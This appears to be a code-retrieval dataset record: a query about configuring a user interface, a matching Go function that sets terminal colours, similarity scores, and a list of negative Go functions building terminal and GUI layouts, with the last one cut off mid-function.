[ "0.7180504", "0.6304459", "0.6287592", "0.57763785", "0.5560957", "0.5547894", "0.55220366", "0.5466867", "0.5362588", "0.5326284", "0.53178704", "0.52990276", "0.52901006", "0.5235003", "0.52211857", "0.51834905", "0.5153998", "0.514636", "0.5114229", "0.51125467", "0.50874156", "0.4995107", "0.49148032", "0.48868787", "0.48807997", "0.48786345", "0.4871336", "0.48644394", "0.48631766", "0.48487008", "0.48356518", "0.4821828", "0.48215684", "0.47971636", "0.47883418", "0.4765106", "0.47622222", "0.47617635", "0.47318485", "0.47292122", "0.47226307", "0.4720868", "0.47194245", "0.47170755", "0.47155824", "0.47023627", "0.46960828", "0.46805865", "0.467814", "0.46664488", "0.46640077", "0.46636438", "0.46584105", "0.4647813", "0.46416", "0.46398982", "0.46126956", "0.45993754", "0.459683", "0.45953903", "0.4590854", "0.4587031", "0.45708135", "0.45630306", "0.4558363", "0.45575118", "0.4555409", "0.45541745", "0.45494726", "0.45487243", "0.45452765", "0.45436075", "0.45323893", "0.45300904", "0.45271224", "0.45177123", "0.45084575", "0.45071614", "0.4506454", "0.450563", "0.4494287", "0.4487726", "0.4483113", "0.44809172", "0.44720137", "0.4467179", "0.44555384", "0.4450268", "0.445016", "0.4440879", "0.44339564", "0.44323725", "0.44295117", "0.4427359", "0.442649", "0.4419102", "0.43981773", "0.43958813", "0.4388189" ]
0.7603863
1
configureUI configures user interface
func configureUI() { terminal.Prompt = "› " terminal.TitleColorTag = "{s}" if options.GetB(OPT_NO_COLOR) { fmtc.DisableColors = true } switch { case fmtc.IsTrueColorSupported(): colorTagApp, colorTagVer = "{#CC1E2C}", "{#CC1E2C}" case fmtc.Is256ColorsSupported(): colorTagApp, colorTagVer = "{#160}", "{#160}" default: colorTagApp, colorTagVer = "{r}", "{r}" } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func configureUI() {\n\tif options.GetB(OPT_NO_COLOR) {\n\t\tfmtc.DisableColors = true\n\t}\n\n\tswitch {\n\tcase fmtc.IsTrueColorSupported():\n\t\tcolorTagApp, colorTagVer = \"{#BCCF00}\", \"{#BCCF00}\"\n\tcase fmtc.Is256ColorsSupported():\n\t\tcolorTagApp, colorTagVer = \"{#148}\", \"{#148}\"\n\tdefault:\n\t\tcolorTagApp, colorTagVer = \"{g}\", \"{g}\"\n\t}\n}", "func ConfigureUI(conn *NotesConnection, config *Config) (*components.Application, error) {\n\tshortcuts := &shortcutConfig{config: config, observable: &ShortcutObservable{Handlers: make(map[uint64]func())}}\n\n\tapp := createApplication(shortcuts, conn)\n\n\tpreviousNotesTable, err := getPopulatedTable(app, conn, shortcuts)\n\n\tif err != nil {\n\t\treturn &components.Application{}, err\n\t}\n\n\tnoteInput := getNoteInput(conn, previousNotesTable, app, shortcuts)\n\n\tparentGrid := components.CreateGrid(components.GridOptions{\n\t\tRows: []int{0, 1},\n\t\tColumns: []int{0},\n\t\tHasBorders: true,\n\t\tHasHeaderRow: true,\n\t}, app)\n\tnoteInput.AddToGrid(parentGrid, 0, 0)\n\tgetNoteGrid(app, previousNotesTable).AddToGrid(parentGrid, 1, 0)\n\tgetGridFooter(app, shortcuts).AddToGrid(parentGrid, 2, 0)\n\n\tparentGrid.SetRoot()\n\tnoteInput.SetFocus()\n\n\treturn app, app.Run()\n}", "func RunUI(cfg Config, inStatusCh chan inputStats, outputStatusChannel chan outputStats, cfgSource string) {\n\t// Let the goroutines initialize before starting GUI\n\ttime.Sleep(50 * time.Millisecond)\n\tif err := ui.Init(); err != nil {\n\t\tlog.Fatalf(\"failed to initialize termui: %v\", err)\n\t}\n\tdefer ui.Close()\n\n\ty := 0\n\theight := 5\n\twidth := 120\n\thalfWidth := width / 2\n\n\tp := widgets.NewParagraph()\n\tp.Title = applicationName()\n\tp.Text = fmt.Sprintf(\"PRESS q TO QUIT.\\nConfig from: %s\\n\", cfgSource)\n\n\tp.SetRect(0, y, width, height)\n\tp.TextStyle.Fg = ui.ColorWhite\n\tp.BorderStyle.Fg = ui.ColorCyan\n\n\ty += height\n\theight = 10\n\tinSrcHeight := height\n\tif cfg.RetransmitEnabled() {\n\t\tinSrcHeight = height * 2\n\n\t}\n\n\tinpSrcStatus := widgets.NewParagraph()\n\tinpSrcStatus.Title = \"GPS/GPS Compass in\"\n\tif cfg.InputEnabled() {\n\t\tinpSrcStatus.Text = \"Waiting for data\"\n\t} else {\n\t\tinpSrcStatus.Text = \"Input not enabled\"\n\t}\n\n\tinpSrcStatus.SetRect(0, y, halfWidth, y+inSrcHeight)\n\tinpSrcStatus.TextStyle.Fg = ui.ColorGreen\n\tinpSrcStatus.BorderStyle.Fg = ui.ColorCyan\n\n\tinpArrow := widgets.NewParagraph()\n\tinpArrow.Border = false\n\tinpArrow.Text = \"=>\"\n\tinpArrow.SetRect(halfWidth, y, halfWidth+5, y+height)\n\n\tinpDestStatus := widgets.NewParagraph()\n\tinpDestStatus.Title = \"GPS/GPS Compass out to UGPS\"\n\n\tinpDestStatus.SetRect(halfWidth+5, y, width, y+height)\n\tinpDestStatus.TextStyle.Fg = ui.ColorGreen\n\tinpDestStatus.BorderStyle.Fg = ui.ColorCyan\n\n\tinpRetransmitStatus := widgets.NewParagraph()\n\tif cfg.RetransmitEnabled() {\n\t\tinpRetransmitStatus.Title = \"Retransmit Input\"\n\n\t\tinpRetransmitStatus.SetRect(halfWidth+5, y+height, width, y+inSrcHeight)\n\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorGreen\n\t\tinpRetransmitStatus.BorderStyle.Fg = ui.ColorCyan\n\t}\n\n\t//y += height\n\ty += inSrcHeight\n\theight = 10\n\n\toutSrcStatus := widgets.NewParagraph()\n\toutSrcStatus.Title = \"Locator Position in from UGPS\"\n\toutSrcStatus.Text = \"Waiting for data\"\n\tif !cfg.OutputEnabled() {\n\t\toutSrcStatus.Text = \"Output not enabled\"\n\t}\n\toutSrcStatus.SetRect(0, y, halfWidth, y+height)\n\toutSrcStatus.TextStyle.Fg = ui.ColorGreen\n\toutSrcStatus.BorderStyle.Fg = ui.ColorCyan\n\n\toutArrow := widgets.NewParagraph()\n\toutArrow.Border = false\n\toutArrow.Text = \"=>\"\n\toutArrow.SetRect(halfWidth, y, halfWidth+5, y+height)\n\n\toutDestStatus := widgets.NewParagraph()\n\toutDestStatus.Title = \"Locator Position out to NMEA\"\n\toutDestStatus.Text = \"Waiting for data\"\n\tif !cfg.OutputEnabled() {\n\t\toutDestStatus.Text = \"Output not enabled\"\n\t}\n\toutDestStatus.SetRect(halfWidth+5, y, width, y+height)\n\toutDestStatus.TextStyle.Fg = ui.ColorGreen\n\toutDestStatus.BorderStyle.Fg = ui.ColorCyan\n\n\ty += height\n\theight = 15\n\n\tdbgText := widgets.NewList()\n\tdbgText.Title = \"Debug\"\n\tdbgText.Rows = dbgMsg\n\tdbgText.WrapText = true\n\tdbgText.SetRect(0, y, width, y+height)\n\tdbgText.BorderStyle.Fg = ui.ColorCyan\n\n\thideDebug := widgets.NewParagraph()\n\thideDebug.Text = \"\"\n\thideDebug.SetRect(0, y, width, y+height)\n\thideDebug.Border = false\n\n\tdraw := func() {\n\t\tui.Render(p, inpSrcStatus, inpArrow, inpDestStatus, outSrcStatus, outArrow, outDestStatus, inpRetransmitStatus)\n\t\tif debug {\n\t\t\tdbgText.Rows = dbgMsg\n\t\t\tui.Render(dbgText)\n\t\t} else {\n\t\t\tui.Render(hideDebug)\n\t\t}\n\t}\n\n\t// Initial draw before any events have occurred\n\tdraw()\n\n\tuiEvents := ui.PollEvents()\n\n\tfor {\n\t\tselect {\n\t\tcase inStats := <-inStatusCh:\n\t\t\tinpSrcStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tinpSrcStatus.Text = fmt.Sprintf(\"Source: %s\\n\\n\", cfg.Input.Device) +\n\t\t\t\t\"Supported NMEA sentences received:\\n\" +\n\t\t\t\tfmt.Sprintf(\" * Topside Position : %s\\n\", inStats.src.posDesc) +\n\t\t\t\tfmt.Sprintf(\" * Topside Heading : %s\\n\", inStats.src.headDesc) +\n\t\t\t\tfmt.Sprintf(\" * Parse error: %d\\n\\n\", inStats.src.unparsableCount) +\n\t\t\t\tinStats.src.errorMsg\n\t\t\tif inStats.src.errorMsg != \"\" {\n\t\t\t\tinpSrcStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\t\t\tinpDestStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tinpDestStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.BaseURL) +\n\t\t\t\tfmt.Sprintf(\"Sent successfully to\\n Underwater GPS: %d\\n\\n\", inStats.dst.sendOk) +\n\t\t\t\tinStats.dst.errorMsg\n\t\t\tif inStats.dst.errorMsg != \"\" {\n\t\t\t\tinpDestStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\n\t\t\tinpRetransmitStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.Input.Retransmit) +\n\t\t\t\tfmt.Sprintf(\"Count: %d\\n%s\", inStats.retransmit.count, inStats.retransmit.errorMsg)\n\t\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tif inStats.retransmit.errorMsg != \"\" {\n\t\t\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\t\t\tdraw()\n\t\tcase outStats := <-outputStatusChannel:\n\t\t\toutSrcStatus.Text = fmt.Sprintf(\"Source: %s\\n\\n\", cfg.BaseURL) +\n\t\t\t\tfmt.Sprintf(\"Positions from Underwater GPS:\\n %d\\n\", outStats.src.getCount)\n\t\t\toutSrcStatus.TextStyle.Fg = ui.ColorGreen\n\n\t\t\tif outStats.src.errMsg != \"\" {\n\t\t\t\toutSrcStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t\toutSrcStatus.Text += fmt.Sprintf(\"\\n\\n%v (%d)\", outStats.src.errMsg, outStats.src.getErr)\n\t\t\t}\n\n\t\t\toutDestStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.Output.Device) +\n\t\t\t\t\"Sent:\\n\" +\n\t\t\t\tfmt.Sprintf(\" * Locator/ROV Position : %s: %d\\n\", strings.ToUpper(cfg.Output.PositionSentence), outStats.dst.sendOk)\n\t\t\toutDestStatus.TextStyle.Fg = ui.ColorGreen\n\n\t\t\tif outStats.dst.errMsg != \"\" {\n\t\t\t\toutDestStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t\toutDestStatus.Text += fmt.Sprintf(\"\\n\\n%s\", outStats.dst.errMsg)\n\t\t\t}\n\t\t\tdraw()\n\t\tcase e := <-uiEvents:\n\t\t\tswitch e.ID {\n\t\t\tcase \"q\", \"<C-c>\":\n\t\t\t\treturn\n\t\t\tcase \"d\":\n\t\t\t\tdbgMsg = nil\n\t\t\t\tdbgText.Rows = dbgMsg\n\t\t\t\tdebug = !debug\n\n\t\t\t\tdraw()\n\t\t\t}\n\t\t}\n\t}\n}", "func InitUI(c *processor.Console) {\n\tconsole = c\n\tframe = image.NewRGBA(image.Rect(0, 0, width, height))\n\n\t// Call ebiten.Run to start your game loop.\n\tif err := ebiten.Run(update, width, height, scale, title); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\t// tv := gi.AddNewTabView(split, \"tv\")\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Reset\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.Reset()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Load Params\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.LoadParams()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Wavs\", Icon: \"new\", Tooltip: \"Generate the .wav files\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Split Wavs\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.SplitWavs()\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func (s *Slacker) SetupUI() error {\n\n\t// black toolbars are cool.\n\ttb := widgets.NewToolBar(\"toolbar\", &color.RGBA{0, 0, 0, 0xff})\n\tquitButton := widgets.NewToolbarItem(\"quitTBI\", s.QuitSlacker)\n\ttb.AddToolBarItem(quitButton)\n\ttb.SetSize(800, 30)\n\n\t// Main VPanel of the app. Will have 2 entries in it. The first is the top level toolbar\n\t// secondly will be a HPanel to have contacts and messages.\n\tvpanel := widgets.NewVPanelWithSize(\"main-vpanel\", 800, 600, &color.RGBA{0, 0, 0, 0xff})\n\tvpanel.AddWidget(tb)\n\ts.window.AddPanel(vpanel)\n\n\t// main Horizontal panel... first element is channels + people\n\t// second element is actual chat.\n\tmainHPanel := widgets.NewHPanel(\"hpanel1\", &color.RGBA{0, 100, 0, 255})\n\n\t// 2 main sections added to mainHPanel\n\t// contactsVPanel goes down complete left side, 100 width, 600-30 (toolbar) in height\n\ts.contactsChannelsVPanel = widgets.NewVPanelWithSize(\"contactsVPanel\", 150, 570, &color.RGBA{0, 0, 100, 0xff})\n\n\t// In messagesTypingVPanel we will have 2 vpanels.\n\tmessagesTypingVPanel := widgets.NewVPanelWithSize(\"messagesTypingVPanel\", 650, 570, &color.RGBA{0, 50, 50, 0xff})\n\n\t// The first for messages the second for typing widget.\n\ts.messagesVPanel = widgets.NewVPanelWithSize(\"messagesVPanel\", 650, 540, &color.RGBA{10, 50, 50, 0xff})\n\ttypingVPanel := widgets.NewVPanelWithSize(\"typingVPanel\", 650, 30, &color.RGBA{50, 50, 50, 0xff})\n\tmessagesTypingVPanel.AddWidget(s.messagesVPanel)\n\tmessagesTypingVPanel.AddWidget(typingVPanel)\n\n\tmainHPanel.AddWidget(s.contactsChannelsVPanel)\n\tmainHPanel.AddWidget(messagesTypingVPanel)\n\n\t// now add mainHPanel to VPanel.\n\tvpanel.AddWidget(mainHPanel)\n\n\treturn nil\n}", "func (s *User) SettingsUI(title string, editors []string) {\n\tapp := tview.NewApplication()\n\n\tform := tview.NewForm().\n\t\tAddCheckbox(\"Update on starting katbox\", s.AutoUpdate, nil).\n\t\tAddDropDown(\"Editor\", editors, 0, nil).\n\t\tAddInputField(\"(optional) Custom editor Path\", s.Editor, 30, nil, nil).\n\t\tAddInputField(\"Git clone path\", s.GitPath, 30, nil, nil).\n\t\tAddCheckbox(\"Open URLs in Browser\", s.OpenURL, nil).\n\t\tAddButton(\"Save Settings\", func() { app.Stop() })\n\n\tform.SetBorder(true).SetTitle(title).SetTitleAlign(tview.AlignLeft)\n\tif err := app.SetRoot(form, true).Run(); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Retrieve values and update settings\n\n\t_, s.Editor = form.GetFormItemByLabel(\"Editor\").(*tview.DropDown).GetCurrentOption()\n\t// If a custom editor has been selected then set the value from the custom Editor field\n\tif s.Editor == \"Custom\" {\n\t\ts.CustomEditor = form.GetFormItemByLabel(\"Editor Path\").(*tview.InputField).GetText()\n\t}\n\n\t// TODO - do a OS/Editor lookup and set the path accordingly\n\n\ts.OpenURL = form.GetFormItemByLabel(\"Open URLs in Browser\").(*tview.Checkbox).IsChecked()\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\t// tv := gi.AddNewTabView(split, \"tv\")\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen cat string\", Icon: \"new\", Tooltip: \"Generate a new initial random seed to get different results. By default, Init re-establishes the same initial seed every time.\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.CatNoRepeat(gn.syls1)\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func InitUI() UI {\n\tUI76 := UI{}\n\tUI76.allowInterface = true\n\tUI76.mousePressed = false\n\tUI76.panels = append(UI76.panels, MenuMainMenu, MenuLanded, MenuFlying, MenuMap, MenuEvent)\n\tInitMenuMainMenu()\n\tInitMenuLanded()\n\tInitMenuFlying()\n\tInitMenuShop()\n\tInitMenuMap()\n\tInitMenuEvent()\n\tUI76.currentPanel = MenuMainMenu\n\tUI76.prevPanel = MenuMainMenu\n\t// Fonts\n\ttt, err := truetype.Parse(fonts.MPlus1pRegular_ttf)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfont76 = truetype.NewFace(tt, &truetype.Options{\n\t\tSize: 8,\n\t\tDPI: 96,\n\t\tHinting: font.HintingFull,\n\t})\n\treturn UI76\n}", "func UI(redraw func()) *tview.Form {\n\tredrawParent = redraw\n\tcommand = settings.Get(settings.SetConfig, settings.KeyOmxplayerCommand).(string)\n\n\tuiForm = tview.NewForm().\n\t\tAddInputField(\"omxmplayer command\", command, 40, nil, handleCommandChange).\n\t\tAddButton(\"Save\", handlePressSave).\n\t\tAddButton(\"Cancel\", handlePressCancel)\n\n\tuiForm.SetFieldBackgroundColor(tcell.ColorGold).SetFieldTextColor(tcell.ColorBlack)\n\tuiForm.SetBorder(true).SetTitle(\"Settings\")\n\n\treturn uiForm\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen TriSyllable Strings\", Icon: \"new\", Tooltip: \"Generate all combinations of tri syllabic strings from the sets of syllables for each position\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenTriSyllables()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Write TriSyls Strings\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.WriteTriSyllables()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Shuffle CVs\", Icon: \"new\", Tooltip: \"Shuffle the syllables and add this shuffle to the list of shuffles\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.ShuffleCVs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Write Shuffled CVs\", Icon: \"new\", Tooltip: \"WriteShuffles writes an individual file for each of the shuffled CV lists generated\\n// and also writes a file called \\\"ls\\\" that is a list of the files written!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.WriteShuffles()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Speech\", Icon: \"new\", Tooltip: \"Calls GnuSpeech on content of files\\n// and also writes a file called \\\"ls\\\" that is a list of the files written!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenSpeech(gn.ShufflesIn, gn.ShufflesOut)\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Rename Individual CVs\", Icon: \"new\", Tooltip: \"Must run this after splitting shuffle files into individual CVs before concatenating!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.Rename()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Whole Word Wavs\", Icon: \"new\", Tooltip: \"Generates wav files of 3 CVs where the second and third are fully predictable based on first CV\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenWholeWordWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Part Word Wavs\", Icon: \"new\", Tooltip: \"Generates wav files of 3 CVs, the second CV is of a set (so partially predictable), the third CV is predictable based on second\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenPartWordWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Wav sequence from tri wavs\", Icon: \"new\", Tooltip: \"Write wav file that is the concatenation of wav files of tri CVs\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.SequenceFromTriCVs()\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func (sc *ServiceConfig) ServeUI() {\n\tmime.AddExtensionType(\".json\", \"application/json\")\n\tmime.AddExtensionType(\".woff\", \"application/font-woff\")\n\n\thandler := rest.ResourceHandler{\n\t\tEnableRelaxedContentType: true,\n\t}\n\n\troutes := sc.getRoutes()\n\thandler.SetRoutes(routes...)\n\n\t// FIXME: bubble up these errors to the caller\n\tif err := http.ListenAndServe(\":7878\", &handler); err != nil {\n\t\tglog.Fatalf(\"could not setup internal web server: %s\", err)\n\t}\n}", "func InstallWebUi() {\n\n}", "func NewUi(w *app.Window) *Ui {\n\tu := Ui{\n\t\tw: w,\n\t\tth: material.NewTheme(gofont.Collection()),\n\t\tga: engine.NewGame(),\n\t}\n\tu.th.TextSize = unit.Dp(topMenuPx / 5)\n\tu.ga.ScaleOffset(WidthPx)\n\tu.nameEditor = &widget.Editor{\n\t\tSingleLine: true,\n\t\tSubmit: true,\n\t}\n\tu.menuBtn.pressed = true\n\tu.titleScreen = true\n\treturn &u\n}", "func NewUI(config UIConfig, in io.Reader, out, err io.Writer) UI {\n\tminimalUI := config.DisableColors\n\tif config.OutputFormat == OutputFormatJSON {\n\t\tminimalUI = true\n\t}\n\tcolor.NoColor = minimalUI\n\n\treturn &ui{\n\t\tconfig,\n\t\tminimalUI,\n\t\tfdReader{in},\n\t\tfdWriter{out},\n\t\terr,\n\t}\n}", "func NewUIConfig(jaeger *v1alpha1.Jaeger) *UIConfig {\n\treturn &UIConfig{jaeger: jaeger}\n}", "func (scene *GameScene) makeInitialUI() {\n\tgray := color.RGBA{R: 97, G: 98, B: 109, A: 255}\n\n\trWidth := scene.Sys.Renderer.Window.Width\n\trHeight := scene.Sys.Renderer.Window.Height\n\n\tscene.makeMainPanel()\n\tscene.makeToggleButton()\n\tscene.makeToggleLabel()\n\tscene.makeShopPanel()\n\tscene.balanceLabel = scene.Add.Label(\"Balance: 0 Cubes\", rWidth/2+40, rHeight/2+85, 24, \"\", gray)\n\tscene.makeClickButton()\n}", "func getUiConfig(config *ini.File) (UiConfig, error) {\n\tuiConfig := UiConfig{}\n\n\t// Get route columns\n\troutesColumns, err := getRoutesColumns(config)\n\tif err != nil {\n\t\treturn uiConfig, err\n\t}\n\n\t// Get rejections and reasons\n\trejections, err := getRoutesRejections(config)\n\tif err != nil {\n\t\treturn uiConfig, err\n\t}\n\n\tnoexports, err := getRoutesNoexports(config)\n\tif err != nil {\n\t\treturn uiConfig, err\n\t}\n\n\t// Make config\n\tuiConfig = UiConfig{\n\t\tRoutesColumns: routesColumns,\n\t\tRoutesRejections: rejections,\n\t\tRoutesNoexports: noexports,\n\t}\n\n\treturn uiConfig, nil\n}", "func StartUI(api *API) {\n\terr := termui.Init()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer termui.Close()\n\n\tui := &UI{\n\t\tapi: api,\n\t\tsearchBox: newSearchBox(),\n\t\tinstancesTable: newInstancesTable(),\n\t\thelpBox: newHelpTable(),\n\t\tselectedRow: -1,\n\t}\n\n\tgo func() {\n\t\tfor instances := range api.instancesChan {\n\t\t\ttermui.SendCustomEvt(\"/usr/instances\", instances)\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tfor errors := range api.errChan {\n\t\t\ttermui.SendCustomEvt(\"/usr/errors\", errors)\n\t\t}\n\t}()\n\n\ttermui.Body.AddRows(\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.searchBox),\n\t\t),\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.instancesTable),\n\t\t),\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.helpBox),\n\t\t),\n\t)\n\ttermui.Body.Align()\n\ttermui.Render(termui.Body)\n\n\tui.SetEvents()\n\tui.triggerInstancesUpdate()\n\n\ttermui.Loop()\n}", "func OptUI(fs http.FileSystem) Opt {\n\treturn func(app *App) {\n\t\tapp.ui = fs\n\t}\n}", "func (sp *StackPackage) AddUI(filepath string, ui string) {\n\tsp.UISpecs[filepath] = ui\n}", "func runTUI() error {\n\n\t// Set function to manage all views and keybindings\n\tclientGui.SetManagerFunc(layout)\n\n\t// Bind keys with functions\n\t_ = clientGui.SetKeybinding(\"\", gocui.KeyCtrlC, gocui.ModNone, quit)\n\t_ = clientGui.SetKeybinding(\"input\", gocui.KeyEnter, gocui.ModNone, send)\n\n\t// Start main event loop of the TUI\n\treturn clientGui.MainLoop()\n}", "func uiLayout(g *gocui.Gui) error {\n\tmaxX, maxY := g.Size()\n\n\tviewDebug(g, maxX, maxY)\n\tviewLogs(g, maxX, maxY)\n\tviewNamespaces(g, maxX, maxY)\n\tviewOverlay(g, maxX, maxY)\n\tviewTitle(g, maxX, maxY)\n\tviewPods(g, maxX, maxY)\n\tviewStatusBar(g, maxX, maxY)\n\n\treturn nil\n}", "func CustomizeScreen(w fyne.Window) fyne.CanvasObject {\n\tc := conf.Get()\n\ttb := widget.NewTabContainer()\n\td, _ := ioutil.ReadFile(c.DynamicUIFile)\n\tvar info uiConf\n\terr := json.Unmarshal(d, &info)\n\tif err != nil {\n\t\t// fmt.Println(\"dReadUI:\", err)\n\t\ttb.Append(widget.NewTabItem(\"error\", widget.NewLabel(fmt.Sprint(err))))\n\t\ttb.SelectTabIndex(0)\n\t\treturn tb\n\t}\n\tfor _, it := range info.RunUI {\n\t\tif it.Hide {\n\t\t\tcontinue\n\t\t}\n\t\ttb.Append(widget.NewTabItem(\"R_\"+it.Name, newRunUI(w, it)))\n\t}\n\tfor _, it := range info.ViewUI {\n\t\tif it.Hide {\n\t\t\tcontinue\n\t\t}\n\t\ttb.Append(widget.NewTabItem(\"V_\"+it.Name, 